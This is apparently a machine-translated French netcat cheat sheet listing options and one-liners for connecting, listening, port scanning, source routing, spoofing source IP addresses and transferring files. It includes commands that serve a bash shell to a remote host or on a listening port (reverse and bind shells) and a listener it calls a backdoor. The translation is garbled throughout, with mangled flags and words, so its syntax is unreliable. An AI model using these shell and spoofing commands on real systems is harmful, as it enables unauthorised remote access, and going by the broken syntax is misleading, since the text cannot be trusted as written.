Étape 2: Commandes de base de Netcat
g - passerelle routage source hop point (s), jusqu'à 8
Pointeur de routage source num -G : 4, 8, 12,...
-h cette cruft
-i secs retardent l’intervalle pour les lignes envoyées, ports scannés
-l Ecoute mode, pour les entrants se connecte
-L Ecoute plus difficile, ré-écouter sur socket proches
-n uniquement numériques IP adresses, sans DNS
-o fichier hex dump de trafic
Numéro de port local port -p
r - randomiser les ports les et distants
adresse de source locale addr -s
réponse -t négociation TELNET
-u Mode de UDP
-v verbose (utilisation deux fois pour être plus détaillée)
-w secondes timeout pour se connecte et net final se lit
Z-zéro-I/O mode (utilisé pour la numérisation)
numéros de port peut être individuelles ou varie: m-n (inclusivement)
Connecter à un port
un hôte distant
remote_host NC < port >
Se connecter à plusieurs
ports sur un hôte distant
remote_host NC < port >... < port >
Par exemple :
NC www.somecompanyasanexample.com 21 25 80
Écouter sur un port pour
connexions entrantes
(Aussi connu comme A détournée)
NC - v -l -p < port >
Se connecter à l’hôte distant
et servir un shell bash
NC remote_ip < port > -e/bin/bash
Notez que Netcat ne supporte pas le drapeau -e par défaut. À
Assurez-vous Netcat prend en charge l’indicateur de -e, il doit être recompilé avec
l’option DGAPING_SECURITY_HOLE
Écouter sur un port et
servir un shell bash
sur connect
NC - v -l -p < port > -e/bin/bash
Notez que Netcat ne supporte pas le drapeau -e par défaut. À
Assurez-vous Netcat prend en charge l’indicateur de -e, il doit être recompilé avec
l’option DGAPING_SECURITY_HOLE
Scan de port distant
hôte
NC - v - z remote_host < port >-< port >
Utilisation du i - flag pour définir un intervalle de délai :
NC - i < secondes > - v - z remote_host
< port >-< port >
Tuyau sortie de la commande
pour une demande de netcat
< commande > | remote_host NC < port >
Par exemple :
echo "GET/HTTP/1.0
(entrez)
(entrez)
"| NC www.somecompanyasanexample.com 80
Utiliser le routage source à
se connecter à un port sur un
hôte distant
NC - g < passerelle > remote_host < port >
Remarque : Jusqu'à huit hop points peuvent être spécifiés à l’aide de l’indicateur -g.
Utilisation-indicateur G pour spécifier le pointeur de routage source.
Adresse IP source de parodie
adresse
Utilisation du - drapeau s d’usurper l’adresse IP source :
port de remote_host NC -s spoofed_ip
Cette commande provoquera l’hôte distant pour répondre à la
adresse IP usurpée. Le - s indicateur peut être utilisé avec la plupart des
les commandes présentées dans ce tableau.
Transférer un fichier
Sur le serveur hôte :
NC - v -l -p < port ><< fichier >
Sur l’hôte client :
NC - v < server_host >< port >>< fichier >
Il est également possible pour l’hôte du client à l’écoute sur un port afin de
recevoir un fichier. Pour ce faire, exécutez la commande suivante sur le client
Animateur :
NC - v -l -p < port >> fichier
Et exécutez la commande suivante sur le serveur hôte :
NC - v < client_host >< port >< fichier
Ceux-ci peuvent tous être utilisés par votre netcat